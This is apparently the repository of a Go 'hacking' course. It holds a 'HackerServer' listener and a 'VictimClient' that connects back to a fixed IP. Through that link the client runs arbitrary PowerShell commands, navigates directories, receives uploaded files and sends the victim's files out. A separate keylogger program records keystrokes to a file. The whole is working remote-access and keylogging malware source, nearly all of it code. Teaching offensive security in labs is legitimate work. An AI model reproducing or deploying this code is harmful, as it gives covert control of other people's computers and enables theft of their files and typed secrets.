├── README.md
├── .gitattributes
├── HackerServer
├── file.jpeg
├── download.jpeg
├── .idea
│ ├── misc.xml
│ ├── modules.xml
│ ├── HackerServer.iml
│ └── workspace.xml
├── core
│ ├── handleConnection
│ │ └── connect.go
│ ├── Move
│ │ └── mv.go
│ ├── ExecuteCommandWindows
│ │ └── execute.go
│ ├── download
│ │ └── dw.go
│ └── Upload
│ │ └── upload.go
└── main.go
├── VictimClient
├── download.jpeg
├── .idea
│ ├── misc.xml
│ ├── modules.xml
│ ├── VictimFinalVersion.iml
│ └── workspace.xml
├── core
│ ├── handleConnection
│ │ └── main.go
│ ├── Download
│ │ └── download.go
│ ├── Move
│ │ └── mv.go
│ ├── ExecuteSystemCommandWindows
│ │ └── execute.go
│ └── upload
│ │ └── upload.go
└── main.go
├── .gitignore
└── keylogger.go
/README.md:
--------------------------------------------------------------------------------
1 | # hacking_golang
2 | Source code for golang hacking course on Udemy
3 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/HackerServer/file.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/fahadalisarwar1/hacking_golang/HEAD/HackerServer/file.jpeg
--------------------------------------------------------------------------------
/HackerServer/download.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/fahadalisarwar1/hacking_golang/HEAD/HackerServer/download.jpeg
--------------------------------------------------------------------------------
/VictimClient/download.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/fahadalisarwar1/hacking_golang/HEAD/VictimClient/download.jpeg
--------------------------------------------------------------------------------
/HackerServer/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VictimClient/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/HackerServer/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/HackerServer/.idea/HackerServer.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/VictimClient/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 |
--------------------------------------------------------------------------------
/VictimClient/core/handleConnection/main.go:
--------------------------------------------------------------------------------
1 | package handleConnection
2 |
3 | import (
4 | "net"
5 | )
6 |
7 | func ConnectWithServer(ServerIP string, Port string)(connection net.Conn, err error){
8 | ServerAddress := ServerIP + ":" + Port
9 | connection, err = net.Dial("tcp", ServerAddress)
10 | if err != nil{
11 | return
12 | }
13 |
14 | return
15 | }
16 |
--------------------------------------------------------------------------------
/VictimClient/.idea/VictimFinalVersion.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/HackerServer/core/handleConnection/connect.go:
--------------------------------------------------------------------------------
1 | package handleConnection
2 |
3 | import (
4 | "net"
5 | )
6 |
7 | func ConnectWithVictim(IP string, port string )(connection net.Conn, err error){
8 | LocalAddressPort := IP + ":" + port
9 | listener, err := net.Listen("tcp", LocalAddressPort)
10 | if err != nil{
11 | return
12 | }
13 | connection, err = listener.Accept()
14 | if err != nil {
15 | return
16 | }
17 | return
18 | }
--------------------------------------------------------------------------------
/keylogger.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "github.com/kindlyfire/go-keylogger"
5 | "os"
6 | "time"
7 | )
8 |
9 | const (
10 | delayKeyfetchMS = 10
11 | )
12 |
13 | func main(){
14 | kl := keylogger.NewKeylogger()
15 | file, _ := os.OpenFile("keystrokes.txt", os.O_APPEND | os.O_CREATE, 0666)
16 | startTime := time.Now()
17 | for {
18 |
19 | key := kl.GetKey()
20 |
21 | if !key.Empty {
22 |
23 | defer file.Close()
24 | _, _ = file.WriteString(string(key.Rune))
25 | }
26 | if time.Since(startTime) > 10*time.Second{
27 | break
28 | }
29 |
30 | time.Sleep(delayKeyfetchMS * time.Millisecond)
31 | }
32 | }
--------------------------------------------------------------------------------
/HackerServer/core/Move/mv.go:
--------------------------------------------------------------------------------
1 | package Move
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "os"
8 | "strings"
9 | )
10 |
11 | func NavigateFileSystem(connection net.Conn)(err error){
12 |
13 | ConnectionReader := bufio.NewReader(connection)
14 |
15 | initial_pwd_raw, err:= ConnectionReader.ReadString('\n')
16 |
17 | initial_pwd := strings.TrimSuffix(initial_pwd_raw, "\n")
18 | loopControl := true
19 | for loopControl {
20 | fmt.Print(initial_pwd, " >> ")
21 |
22 | // C:\Windows\go\src\ >> cd ..
23 | CommandReader := bufio.NewReader(os.Stdin)
24 |
25 | user_command_raw, err := CommandReader.ReadString('\n')
26 | if err != nil {
27 | fmt.Println("[+] Unable to read command ")
28 | }
29 | nbytes, err := connection.Write([]byte(user_command_raw))
30 |
31 | if user_command_raw == "stop\n"{
32 | loopControl = false
33 | break
34 | }
35 | fmt.Println("[+] ", nbytes, " were sent to the victim machine ")
36 |
37 | new_pwd, err := ConnectionReader.ReadString('\n')
38 | fmt.Println("[+] Working Directory changed to ", new_pwd)
39 | initial_pwd = new_pwd
40 | }
41 | return
42 | }
43 |
--------------------------------------------------------------------------------
/HackerServer/core/ExecuteCommandWindows/execute.go:
--------------------------------------------------------------------------------
1 | package ExecuteCommandWindows
2 |
3 | import (
4 | "bufio"
5 | "encoding/gob"
6 | "fmt"
7 | "net"
8 | "os"
9 | )
10 |
11 | type Command struct{
12 | CmdOutput string
13 | CmdError string
14 | }
15 |
16 | func ExecuteCommandRemotelyWindows(connection net.Conn)(err error){
17 |
18 | // send command from server
19 | // execute command remotely
20 | // receive back results or error
21 | // dir pwd date
22 | // stop
23 | // special condition will be "stop"
24 |
25 |
26 | reader := bufio.NewReader(os.Stdin)
27 |
28 | commandloop := true
29 |
30 | for commandloop{
31 |
32 | fmt.Print(">> ")
33 | command, err := reader.ReadString('\n')
34 | if err != nil{
35 | fmt.Println(err)
36 | continue
37 | }
38 |
39 | connection.Write([]byte(command))
40 | if command == "stop\n"{
41 | commandloop = false
42 | continue
43 | }
44 |
45 | cmdStruct := &Command{}
46 |
47 | decoder := gob.NewDecoder(connection)
48 | err = decoder.Decode(cmdStruct)
49 | if err != nil{
50 | fmt.Println(err)
51 | continue
52 | }
53 |
54 | fmt.Println(cmdStruct.CmdOutput)
55 | if cmdStruct.CmdError != ""{
56 | fmt.Println(cmdStruct.CmdError)
57 | }
58 |
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/VictimClient/core/Download/download.go:
--------------------------------------------------------------------------------
1 | package Download
2 |
3 | import (
4 | "encoding/gob"
5 | "fmt"
6 | "net"
7 | "os"
8 | )
9 |
10 | type FileStruct struct {
11 | FileName string
12 | FileSize int
13 | FileContent []byte
14 | }
15 |
16 |
17 | func CheckExistence(fileName string)(bool){
18 | if _, err := os.Stat(fileName); err != nil{
19 | if os.IsNotExist(err){
20 | return false
21 | }
22 | }
23 | return true
24 | }
25 |
26 | func ReadFileContents(connection net.Conn)(err error){
27 |
28 | decoder := gob.NewDecoder(connection)
29 |
30 | fs := &FileStruct{}
31 |
32 | err = decoder.Decode(fs)
33 |
34 | file, err := os.Create(fs.FileName)
35 | if err != nil{
36 | fmt.Println("[+] Unable to create file")
37 | }
38 |
39 | defer file.Close()
40 |
41 | nbytes, err := file.Write(fs.FileContent)
42 |
43 | if err != nil{
44 | fmt.Println("[-] Unable to Write file")
45 | }else{
46 | fmt.Println("[+] Number of bytes Written ", nbytes)
47 | }
48 |
49 | var status string
50 |
51 | if CheckExistence(fs.FileName){
52 | status = "[+] Successfully written File"
53 | }else{
54 | status = "[-] Unable to write file to the victim"
55 | }
56 |
57 | connection.Write([]byte(status+ "\n"))
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | return
66 | }
--------------------------------------------------------------------------------
/HackerServer/core/download/dw.go:
--------------------------------------------------------------------------------
1 | package download
2 |
3 | import (
4 | "bufio"
5 | "encoding/gob"
6 | "fmt"
7 | "net"
8 | "os"
9 | "strconv"
10 | "strings"
11 | )
12 |
13 | type FilesList struct {
14 | Files []string
15 | }
16 |
17 | type Data struct {
18 | FileName string
19 | FileSize int
20 | FileContent []byte
21 | }
22 |
23 |
24 |
25 | func DownloadFromVictim(connection net.Conn)(err error){
26 | filesStruct := &FilesList{}
27 | dec := gob.NewDecoder(connection)
28 | err = dec.Decode(filesStruct)
29 |
30 |
31 | for index, fileName := range filesStruct.Files{
32 | fmt.Println("\t", index, "\t", fileName)
33 | }
34 |
35 | reader := bufio.NewReader(os.Stdin)
36 | fmt.Print("[+] Select file : ")
37 | file2downloadIndex_raw, err := reader.ReadString('\n')
38 | file2DownloadIndex := strings.TrimSuffix(file2downloadIndex_raw, "\n")
39 |
40 | file_index, _ := strconv.Atoi(file2DownloadIndex)
41 |
42 | FileName := filesStruct.Files[file_index]
43 |
44 | nbyte, err := connection.Write([]byte(FileName+ "\n"))
45 | fmt.Println("[+] File name sent :", nbyte)
46 |
47 |
48 |
49 | decoder := gob.NewDecoder(connection)
50 | fs := &Data{}
51 |
52 | err = decoder.Decode(fs)
53 |
54 | file, err := os.Create(fs.FileName)
55 |
56 | nbytes, err := file.Write(fs.FileContent)
57 | fmt.Println("[+] File downloaded successfully , ", nbytes)
58 |
59 | return
60 | }
--------------------------------------------------------------------------------
/VictimClient/core/Move/mv.go:
--------------------------------------------------------------------------------
1 | package Move
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "os"
8 | "strings"
9 | )
10 |
11 | func NavigateFileSystem(connection net.Conn)(err error){
12 | // send the present location to the server
13 | pwd, err := os.Getwd()
14 | if err != nil{
15 | fmt.Println("[-] Can't get present directory")
16 | }
17 | fmt.Println(pwd)
18 |
19 | pwd_raw := pwd + "\n"
20 | nbyte, err:= connection.Write([]byte(pwd_raw))
21 | fmt.Println("[+] ", nbyte, " was written")
22 |
23 |
24 | CommandReader := bufio.NewReader(connection)
25 |
26 | loopControl := true
27 |
28 | for loopControl {
29 | user_command_raw, err := CommandReader.ReadString('\n')
30 | if err != nil {
31 | fmt.Println("[+] Unable to read command ")
32 | }
33 |
34 | if user_command_raw == "stop\n"{
35 | loopControl = false
36 | break
37 | }
38 | user_command := strings.TrimSuffix(user_command_raw, "\n")
39 | // cd ..
40 | // [cd, ..]
41 | // cd
42 | user_command_arr := strings.Split(user_command, " ")
43 |
44 | if len(user_command_arr) > 1 {
45 | dir2move := user_command_arr[1]
46 | err = os.Chdir(dir2move)
47 | if err != nil {
48 | fmt.Println("[-] Unable to change directory")
49 | }
50 | }
51 |
52 | pwd, err = os.Getwd()
53 |
54 | nbytes, err := connection.Write([]byte(pwd + "\n"))
55 | fmt.Println("[+] Pwd written to the hacker, ", nbytes)
56 |
57 | }
58 | return
59 | }
60 |
--------------------------------------------------------------------------------
/VictimClient/core/ExecuteSystemCommandWindows/execute.go:
--------------------------------------------------------------------------------
1 | package ExecuteSystemCommandWindows
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "encoding/gob"
7 | "fmt"
8 | "net"
9 | "os/exec"
10 | "runtime"
11 | "strings"
12 | )
13 |
14 | type Command struct {
15 | CmdOutput string
16 | CmdError string
17 | }
18 |
19 |
20 | func ExecuteCommandWindows(connection net.Conn)(err error){
21 |
22 |
23 |
24 | reader := bufio.NewReader(connection)
25 |
26 | commandloop := true
27 |
28 | for commandloop{
29 | fmt.Println("loop started")
30 |
31 | raw_user_input, err := reader.ReadString('\n')
32 |
33 | if err != nil{
34 | fmt.Println(err)
35 | continue
36 | }
37 | user_input := strings.TrimSuffix(raw_user_input, "\n")
38 | if user_input == "stop"{
39 | commandloop = false
40 |
41 | }else{
42 |
43 |
44 |
45 | fmt.Println("[+] User Command: ", user_input)
46 |
47 | var cmd_instance *exec.Cmd
48 |
49 | if runtime.GOOS == "windows"{
50 | cmd_instance = exec.Command("powershell.exe", "/C", user_input)
51 | }else{
52 | cmd_instance = exec.Command(user_input)
53 | }
54 |
55 | var output bytes.Buffer
56 | var commandErr bytes.Buffer
57 |
58 | cmd_instance.Stdout = &output
59 | cmd_instance.Stderr = &commandErr
60 |
61 | err = cmd_instance.Run()
62 | if err != nil{
63 | fmt.Println(err)
64 | }
65 |
66 | cmdStruct := &Command{}
67 |
68 | cmdStruct.CmdOutput = output.String()
69 | cmdStruct.CmdError = commandErr.String()
70 |
71 | encoder := gob.NewEncoder(connection)
72 |
73 | err = encoder.Encode(cmdStruct)
74 |
75 | if err != nil{
76 | fmt.Println(err)
77 | continue
78 | }
79 |
80 | }
81 |
82 | }
83 | return
84 | }
85 |
--------------------------------------------------------------------------------
/VictimClient/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/HackerServer/core/Upload/upload.go:
--------------------------------------------------------------------------------
1 | package Upload
2 |
3 | import (
4 | "bufio"
5 | "encoding/gob"
6 | "errors"
7 | "fmt"
8 | "net"
9 | "os"
10 | )
11 |
12 | type FileStruct struct {
13 | FileName string
14 | FileSize int
15 | FileContent []byte
16 | }
17 |
18 |
19 | func CheckExistence(fileName string)(bool){
20 | if _, err := os.Stat(fileName); err != nil{
21 | if os.IsNotExist(err){
22 | return false
23 | }
24 | }
25 | return true
26 | }
27 |
28 | func ReadFileContents(fileName string)([]byte, error){
29 | file, err := os.Open(fileName)
30 | if err != nil{
31 | fmt.Println("[+] Unable to open file")
32 | return nil, err
33 | }
34 |
35 | defer file.Close()
36 |
37 | stats, err:= file.Stat()
38 | FileSize := stats.Size()
39 | fmt.Println("[+] the File Contains ", FileSize, " bytes")
40 |
41 | bytes := make([]byte, FileSize)
42 |
43 | buffer := bufio.NewReader(file)
44 |
45 | _,err = buffer.Read(bytes)
46 |
47 |
48 | return bytes, err
49 | }
50 |
51 | func UploadFile2Victim(connection net.Conn)(err error){
52 | fileName := "file.jpeg"
53 |
54 | fileExists := CheckExistence(fileName)
55 | fmt.Println(fileExists)
56 |
57 | if fileExists == false{
58 | err = errors.New("File does not found")
59 | return err
60 | }
61 |
62 | content, err := ReadFileContents(fileName)
63 |
64 |
65 | fileSize := len(content)
66 |
67 | fs := &FileStruct{
68 | FileName: fileName,
69 | FileSize: fileSize,
70 | FileContent: content,
71 | }
72 |
73 | encoder := gob.NewEncoder(connection)
74 |
75 | err = encoder.Encode(fs)
76 |
77 | if err != nil{
78 | fmt.Println("[+] Error Encoding")
79 | return
80 | }
81 |
82 | reader := bufio.NewReader(connection)
83 | status, err := reader.ReadString('\n')
84 |
85 | fmt.Println(status)
86 |
87 | return
88 | }
89 |
--------------------------------------------------------------------------------
/VictimClient/core/upload/upload.go:
--------------------------------------------------------------------------------
1 | package upload
2 |
3 | import (
4 | "bufio"
5 | "encoding/gob"
6 | "fmt"
7 | "io/ioutil"
8 | "net"
9 | "os"
10 | "strings"
11 | )
12 |
13 | type FilesList struct {
14 | Files []string
15 | }
16 |
17 | type Data struct {
18 | FileName string
19 | FileSize int
20 | FileContent []byte
21 | }
22 |
23 |
24 | func ReadFileContents(fileName string)([]byte, error){
25 | file, err := os.Open(fileName)
26 | if err != nil{
27 | fmt.Println("[+] Unable to open file")
28 | return nil, err
29 | }
30 |
31 | defer file.Close()
32 |
33 | stats, err:= file.Stat()
34 | FileSize := stats.Size()
35 | fmt.Println("[+] the File Contains ", FileSize, " bytes")
36 |
37 | bytes := make([]byte, FileSize)
38 |
39 | buffer := bufio.NewReader(file)
40 |
41 | _,err = buffer.Read(bytes)
42 |
43 |
44 | return bytes, err
45 | }
46 |
47 |
48 | func Upload2Hacker(connection net.Conn)(err error){
49 |
50 | // get a list of files in pwd
51 |
52 | var files []string
53 | filesArr, _ := ioutil.ReadDir(".")
54 | for index, file := range filesArr{
55 | mode := file.Mode()
56 | if mode.IsRegular(){
57 | files = append(files, file.Name())
58 | fmt.Println("\t ", index, "\t", file.Name())
59 | }
60 | }
61 |
62 | files_list := &FilesList{Files:files}
63 |
64 | enc := gob.NewEncoder(connection)
65 | err = enc.Encode(files_list)
66 |
67 |
68 | reader := bufio.NewReader(connection)
69 | fileName2download_raw, err := reader.ReadString('\n')
70 |
71 | fileName2download := strings.TrimSuffix(fileName2download_raw, "\n")
72 |
73 | contents, err := ReadFileContents(fileName2download)
74 |
75 | fs := &Data{
76 | FileName: fileName2download,
77 | FileSize: len(contents),
78 | FileContent: contents,
79 | }
80 |
81 | encoder := gob.NewEncoder(connection)
82 |
83 | err = encoder.Encode(fs)
84 |
85 | return
86 | }
--------------------------------------------------------------------------------
/VictimClient/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "VictimFinalVersion/core/Download"
5 | "VictimFinalVersion/core/ExecuteSystemCommandWindows"
6 | "VictimFinalVersion/core/Move"
7 | "VictimFinalVersion/core/handleConnection"
8 | "VictimFinalVersion/core/upload"
9 | "bufio"
10 | "fmt"
11 | "log"
12 | "strings"
13 | )
14 |
15 |
16 | func DisplayError(err error){
17 | if err != nil{
18 | fmt.Println(err)
19 | }
20 | }
21 |
22 |
23 | func main() {
24 | ServerIP := "192.168.0.18"
25 | Port := "9090"
26 | connection, err := handleConnection.ConnectWithServer(ServerIP, Port)
27 | if err != nil {
28 | log.Fatal(err)
29 | }
30 | defer connection.Close()
31 | fmt.Println("[+] Conneciton established with Server :", connection.RemoteAddr().String())
32 |
33 | reader := bufio.NewReader(connection)
34 |
35 | loopControl := true
36 |
37 |
38 | for loopControl{
39 |
40 | user_input_raw, err := reader.ReadString('\n')
41 | if err != nil{
42 | fmt.Println(err)
43 | continue
44 | }
45 |
46 | user_input := strings.TrimSuffix(user_input_raw, "\n")
47 |
48 | switch {
49 | case user_input == "1":
50 | fmt.Println("[+] Executing Commands on windows")
51 | err := ExecuteSystemCommandWindows.ExecuteCommandWindows(connection)
52 | DisplayError(err)
53 |
54 | case user_input == "2":
55 | fmt.Println("[+] File system Naviagtion")
56 |
57 | err = Move.NavigateFileSystem(connection)
58 | DisplayError(err)
59 |
60 | case user_input == "3":
61 | fmt.Println("[+] Downloading File From Server/HAcker")
62 | err = Download.ReadFileContents(connection)
63 | DisplayError(err)
64 |
65 | case user_input == "4":
66 | fmt.Println("[+] Uploading File to the Hacker")
67 | err = upload.Upload2Hacker(connection)
68 |
69 | DisplayError(err)
70 | case user_input == "99":
71 | fmt.Println("[-] Exiting the windows program")
72 | loopControl = false
73 | default:
74 | fmt.Println("[-] Invalid input , try agian")
75 | }
76 |
77 |
78 |
79 | }
80 |
81 |
82 |
83 | }
--------------------------------------------------------------------------------
/HackerServer/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "HackerServer/core/ExecuteCommandWindows"
5 | "HackerServer/core/Move"
6 | "HackerServer/core/Upload"
7 | "HackerServer/core/download"
8 |
9 |
10 | "HackerServer/core/handleConnection"
11 | "bufio"
12 | "os"
13 | "strings"
14 |
15 | "fmt"
16 | "log"
17 |
18 | )
19 |
20 | func options(){
21 | fmt.Println()
22 | fmt.Println("\t[ 01 ] Execute Command")
23 | fmt.Println("\t[ 02 ] Move in File system")
24 | fmt.Println("\t[ 03 ] UploadFile")
25 | fmt.Println("\t[ 04 ] Download")
26 | fmt.Println("\t[ 99 ] Exit")
27 | fmt.Println()
28 |
29 | }
30 |
31 | func DisplayError(err error){
32 | if err != nil{
33 | fmt.Println(err)
34 | }
35 | }
36 |
37 |
38 |
39 | func main() {
40 | IP := ""
41 | Port := "9090"
42 | connection, err := handleConnection.ConnectWithVictim(IP, Port)
43 | if err != nil {
44 | log.Fatal(err)
45 | }
46 | defer connection.Close()
47 | fmt.Println("[+] Connection established with ", connection.RemoteAddr().String())
48 |
49 | reader := bufio.NewReader(os.Stdin)
50 |
51 | loopControl := true
52 |
53 | for loopControl{
54 | options()
55 | fmt.Printf("[+] Enter Options ")
56 | user_input_raw, err := reader.ReadString('\n')
57 | if err != nil{
58 | fmt.Println(err)
59 | continue
60 | }
61 |
62 | connection.Write([]byte(user_input_raw))
63 |
64 | user_input := strings.TrimSuffix(user_input_raw, "\n")
65 |
66 | switch {
67 | case user_input == "1":
68 | fmt.Println("[+] Command Execution program")
69 | err := ExecuteCommandWindows.ExecuteCommandRemotelyWindows(connection)
70 | DisplayError(err)
71 |
72 | case user_input == "2":
73 | fmt.Println("[+] Navigating File system on Victim")
74 | err = Move.NavigateFileSystem(connection)
75 | DisplayError(err)
76 |
77 | case user_input == "3":
78 | fmt.Println("[+] Uploading File to the Victim")
79 | err = Upload.UploadFile2Victim(connection)
80 | DisplayError(err)
81 |
82 | case user_input == "4":
83 | fmt.Println("[+] Downloading File from the victim ")
84 | err = download.DownloadFromVictim(connection)
85 | DisplayError(err)
86 |
87 |
88 | case user_input == "99":
89 | fmt.Println("[+] Exiting the program")
90 | loopControl = false
91 | default:
92 | fmt.Println("[-] Invalid option, try again a")
93 | }
94 |
95 |
96 |
97 |
98 | }
99 |
100 |
101 |
102 |
103 | }
--------------------------------------------------------------------------------
/HackerServer/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------